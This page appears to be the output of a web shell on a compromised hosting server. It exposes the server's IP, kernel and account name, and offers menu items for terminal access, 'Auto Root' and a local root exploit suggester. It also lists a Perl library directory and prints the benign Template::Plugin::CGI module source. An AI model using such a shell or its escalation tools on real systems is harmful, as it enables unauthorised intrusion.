Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
local /
lib64 /
perl5 /
Template /
Plugin /
Delete
Unzip
Name
Size
Permission
Date
Action
Assert.pm
3.42
KB
-r--r--r--
2022-04-26 12:12
CGI.pm
3.02
KB
-r--r--r--
2021-12-13 17:05
Datafile.pm
4.42
KB
-r--r--r--
2022-04-26 12:12
Date.pm
11.26
KB
-r--r--r--
2022-04-26 12:12
Directory.pm
10.96
KB
-r--r--r--
2022-04-26 12:12
Dumper.pm
3.66
KB
-r--r--r--
2022-04-26 12:12
File.pm
11
KB
-r--r--r--
2022-04-26 12:12
Filter.pm
9.84
KB
-r--r--r--
2022-04-26 12:12
Format.pm
1.79
KB
-r--r--r--
2022-04-26 12:12
HTML.pm
5.89
KB
-r--r--r--
2022-04-26 12:12
Image.pm
11.46
KB
-r--r--r--
2022-04-26 12:12
Iterator.pm
1.96
KB
-r--r--r--
2022-04-26 12:12
Math.pm
4
KB
-r--r--r--
2022-04-26 12:12
Pod.pm
1.62
KB
-r--r--r--
2022-04-26 12:12
Procedural.pm
3.59
KB
-r--r--r--
2022-04-26 12:12
Scalar.pm
3.68
KB
-r--r--r--
2022-04-26 12:12
String.pm
17.74
KB
-r--r--r--
2022-04-26 12:12
Table.pm
12.41
KB
-r--r--r--
2022-04-26 12:12
URL.pm
5.72
KB
-r--r--r--
2022-04-26 12:12
View.pm
2.42
KB
-r--r--r--
2022-04-26 12:12
Wrap.pm
3.2
KB
-r--r--r--
2022-04-26 12:12
Save
Rename
#============================================================= -*-Perl-*- # # Template::Plugin::CGI # # DESCRIPTION # Simple Template Toolkit plugin interfacing to the CGI.pm module. # # AUTHOR # Andy Wardley <abw@wardley.org> # # COPYRIGHT # Copyright (C) 1996-2007 Andy Wardley. All Rights Reserved. # # This module is free software; you can redistribute it and/or # modify it under the same terms as Perl itself. # #============================================================================ package Template::Plugin::CGI; use strict; use warnings; use base 'Template::Plugin'; use CGI; our $VERSION = '3.010'; sub new { my $class = shift; my $context = shift; CGI->new(@_); } # monkeypatch CGI::params() method to Do The Right Thing in TT land sub CGI::params { my $self = shift; local $" = ', '; return $self->{ _TT_PARAMS } ||= do { # must call Vars() in a list context to receive # plain list of key/vals rather than a tied hash my $params = { $self->Vars() }; # convert any null separated values into lists @$params{ keys %$params } = map { /\0/ ? [ split /\0/ ] : $_ } values %$params; $params; }; } 1; __END__ =head1 NAME Template::Plugin::CGI - Interface to the CGI module =head1 SYNOPSIS [% USE CGI %] [% CGI.param('parameter') %] [% USE things = CGI %] [% things.param('name') %] # see CGI docs for other methods provided by the CGI object =head1 DESCRIPTION This is a very simple Template Toolkit Plugin interface to the C<CGI> module. A C<CGI> object will be instantiated via the following directive: [% USE CGI %] C<CGI> methods may then be called as follows: [% CGI.header %] [% CGI.param('parameter') %] An alias can be used to provide an alternate name by which the object should be identified. [% USE mycgi = CGI %] [% mycgi.start_form %] [% mycgi.popup_menu({ Name => 'Color' Values => [ 'Green' 'Black' 'Brown' ] }) %] Parenthesised parameters to the C<USE> directive will be passed to the plugin constructor: [% USE cgiprm = CGI('uid=abw&name=Andy+Wardley') %] [% cgiprm.param('uid') %] =head1 METHODS In addition to all the methods supported by the C<CGI> module, this plugin defines the following. =head2 params() This method returns a reference to a hash of all the C<CGI> parameters. Any parameters that have multiple values will be returned as lists. [% USE CGI('user=abw&item=foo&item=bar') %] [% CGI.params.user %] # abw [% CGI.params.item.join(', ') %] # foo, bar =head1 AUTHOR Andy Wardley E<lt>abw@wardley.orgE<gt> L<http://wardley.org/> =head1 COPYRIGHT Copyright (C) 1996-2007 Andy Wardley. All Rights Reserved. This module is free software; you can redistribute it and/or modify it under the same terms as Perl itself. =head1 SEE ALSO L<Template::Plugin>, L<CGI> =cut # Local Variables: # mode: perl # perl-indent-level: 4 # indent-tabs-mode: nil # End: # # vim: expandtab shiftwidth=4: